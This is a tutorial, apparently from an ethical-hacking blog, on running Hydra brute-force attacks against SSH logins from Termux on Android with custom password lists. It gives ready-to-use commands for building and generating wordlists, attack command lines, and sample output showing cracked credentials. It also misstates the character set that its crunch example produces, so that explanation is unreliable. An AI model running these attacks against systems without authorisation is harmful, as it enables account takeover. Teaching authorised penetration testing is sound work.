Brute-force attacks remain a crucial technique for uncovering security vulnerabilities in login systems. One of the most versatile tools for conducting these attacks is Hydra, known for its speed, flexibility, and the ability to target multiple protocols, including SSH, FTP, Telnet, and many others. However, the true power of Hydra comes into play when combined with custom password lists, which allow the attacker to test specific, well-curated passwords that are more likely to succeed based on the context of the attack.

In penetration testing, a generic or default password list might not always yield results, especially when you’re dealing with systems that have stronger security practices or when you have some knowledge of the target. This is where custom password lists come in. By creating or curating a password list tailored to the target’s environment—whether it’s specific to an organization, industry, or a particular user—you significantly increase the chances of successfully uncovering weak credentials. These lists can be created manually, based on specific research, or generated using tools designed to create variations of common passwords.

In this guide, you will learn step-by-step how to use custom password lists with Hydra in Termux. Whether you’re conducting an internal security audit or performing a penetration test with permission, using targeted password lists enables you to execute more efficient and focused brute-force attacks. Additionally, the flexibility of Termux on Android allows you to perform these tests on the go, making it a highly valuable platform for mobile security professionals.

Throughout this tutorial, we’ll cover how to create and modify password lists, how to integrate them into Hydra for brute-force attacks, and how to improve the effectiveness of your attacks by tailoring the lists to specific scenarios. By the end of this guide, you’ll be equipped with the knowledge and tools to enhance your password-cracking techniques using custom password lists, leading to more successful penetration tests and a deeper understanding of how attackers exploit weak passwords.

Important Note: This tutorial is intended solely for ethical hacking and legal penetration testing purposes. Unauthorized access or testing of systems without permission is illegal and punishable by law. Always ensure you have explicit consent before conducting any tests.

Table of Contents

Step 1: Installing Hydra in Termux

First, ensure Hydra is installed on your Termux system.

Update your Termux packages:

pkg update && pkg upgrade 

Explanation: Keeping your Termux environment up to date ensures smooth installation and compatibility for tools like Hydra.

Install Hydra:

pkg install hydra 

Explanation: This command installs Hydra, a tool used for brute-force attacks on login credentials, along with all its dependencies.

Output:

hydra is successfully installed.

Step 2: Creating or Acquiring Custom Password Lists

A password list is a file containing potential passwords. Customizing these password lists ensures that you’re targeting the most relevant potential passwords for the task at hand.

Creating a Custom Password List: You can create a text file with potential passwords. Use nano to create your list in Termux:

nano custom_password_list.txt

Add passwords, each on a new line:

admin password123 letmein qwerty secretpass 

Save the file by pressing CTRL+X, then Y, and Enter.

Downloading Pre-made Password Lists: You can download widely used password lists from sources like SecLists. These lists provide a broad range of potential passwords for different scenarios.

Download the SecLists repository:

git clone https://github.com/danielmiessler/SecLists.git

Step 3: Using Custom Password Lists with Hydra

Once your password lists are ready, you can run Hydra attacks using them. The basic command structure for Hydra with a password list is:

hydra -l <username> -P <password_list> <protocol>://<target_ip>

For example, to use the username admin and the custom list custom_password_list.txt to brute-force an SSH login:

hydra -l admin -P custom_password_list.txt ssh://192.168.1.10

Explanation: This command tells Hydra to brute-force the SSH login for the admin user on the server at 192.168.1.10 using the passwords in your custom password list.

Output:

Hydra v9.1 starting at 2024-10-05 17:30:02
[DATA] max 16 tasks per 1 server, overall 16 tasks, 0 login tries per task
[DATA] attacking ssh://192.168.1.10:22/
[22][ssh] host: 192.168.1.10   login: admin   password: letmein
1 of 1 target successfully completed, 1 valid password found

Step 4: Using Multiple Usernames and Password Lists

If you want to try multiple usernames in combination with your custom password lists, Hydra allows you to specify a username list as well:

hydra -L usernames.txt -P custom_password_list.txt ssh://192.168.1.10

• -L usernames.txt: Specifies a file containing multiple usernames.
• -P custom_password_list.txt: Specifies the custom password list.

Explanation: Hydra will try each username in usernames.txt with every password from your custom password list to brute-force the SSH server.

Output:

[22][ssh] host: 192.168.1.10   login: root   password: password123
[22][ssh] host: 192.168.1.10   login: admin   password: letmein

Step 5: Enhancing Custom Password Lists

To improve your chances of success, refine your custom password lists with the following strategies:

Research Industry-Specific Passwords: Tailor your list to include common passwords in the targeted organization or industry.

Generate Password Variations: Use tools like Crunch in Termux to generate variations:

crunch 8 12 abcdef123 -o generated_passwords.txt 

This creates passwords of length 8 to 12 using the characters a-z, 0-9, and saves them to generated_passwords.txt.

Combine Lists: Merge common password lists with personalized or custom-generated lists to create hybrid attacks.

Internal and External Resources

To download extensive pre-built password lists, visit SecLists on GitHub (External Link). For more practical examples of using Hydra, read our guide on Brute-Forcing FTP Logins with Hydra in Termux.

Conclusion

Custom password lists enable you to target specific login credentials, greatly improving the efficiency and accuracy of brute-force attacks with Hydra in Termux. By creating or downloading custom lists, you can ensure your password-cracking attempts are well-tailored to your goals.

Always ensure you have legal permission to perform any testing, and use these techniques ethically. For more ethical hacking techniques, check out the Termux Ethical Hacking Archive.

PIN IT